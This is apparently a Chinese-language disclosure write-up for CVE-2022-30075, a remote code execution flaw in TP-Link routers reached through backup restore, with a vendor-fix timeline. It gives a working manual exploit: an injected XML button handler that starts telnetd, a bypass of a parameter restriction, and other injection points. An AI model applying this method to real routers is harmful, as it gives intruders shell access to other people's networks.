CVE-2022-30075

TP-Link路由器中的认证远程代码执行

受影响设备

如果你的TP-Link路由器具有备份和恢复功能，且固件版本早于2022年6月，则很可能存在漏洞

测试环境

TP-Link Archer AX50，其他tplink路由器可能使用不同格式的备份，需要修改漏洞利用代码

PoC

使用漏洞在路由器上启动telnet守护进程

手动利用

1. 登录路由器Web界面
2. 进入高级 -> 系统 -> 备份设置
3. 解密并解压备份文件

• 如果你的路由器使用不同格式的备份文件，你可以修改漏洞利用代码（BackupParser类）或直接从GitHub使用某些工具：
  https://github.com/stdnoerr/tp_link_credentials_harvester/blob/master/decrypt.py
  https://github.com/ret5et/tplink_backup_decrypt_2022.bin
  ...

4. 在解密的xml文件中，你可以找到类似这样的内容：

<button name="led_switch">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/lib/led_switch</handler>
</button>

• 将其替换为以下代码行

<button name="exploit">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/usr/sbin/telnetd -l /bin/login.sh</handler>
</button>

• 存在一个限制，即阻止修改参数 system.button.handler，但可以通过更改父XML节点的名称（例如 name="exploit"）轻松绕过
• 代码执行不仅可以通过修改参数 system.button.handler 来实现，还可以使用 ddns.service.ip_script、firewall.include.path、uhttpd.main 等...

5. 压缩并加密修改后的备份文件
6. 进入高级 -> 系统 -> 恢复设置 -> 上传修改后的备份文件
7. 重启后，按下LED按钮触发执行注入的命令 /usr/sbin/telnetd -l /bin/login.sh
8. 远程登录路由器：telnet 192.168.1.1

时间线

15.03.2022 - 发现漏洞
15.03.2022 - 联系TP-Link支持
16.03.2022 - 收到TP-Link回复
02.05.2022 - 分配CVE编号
27.05.2022 - TP-Link发布修复漏洞的固件
07.06.2022 - 公开技术细节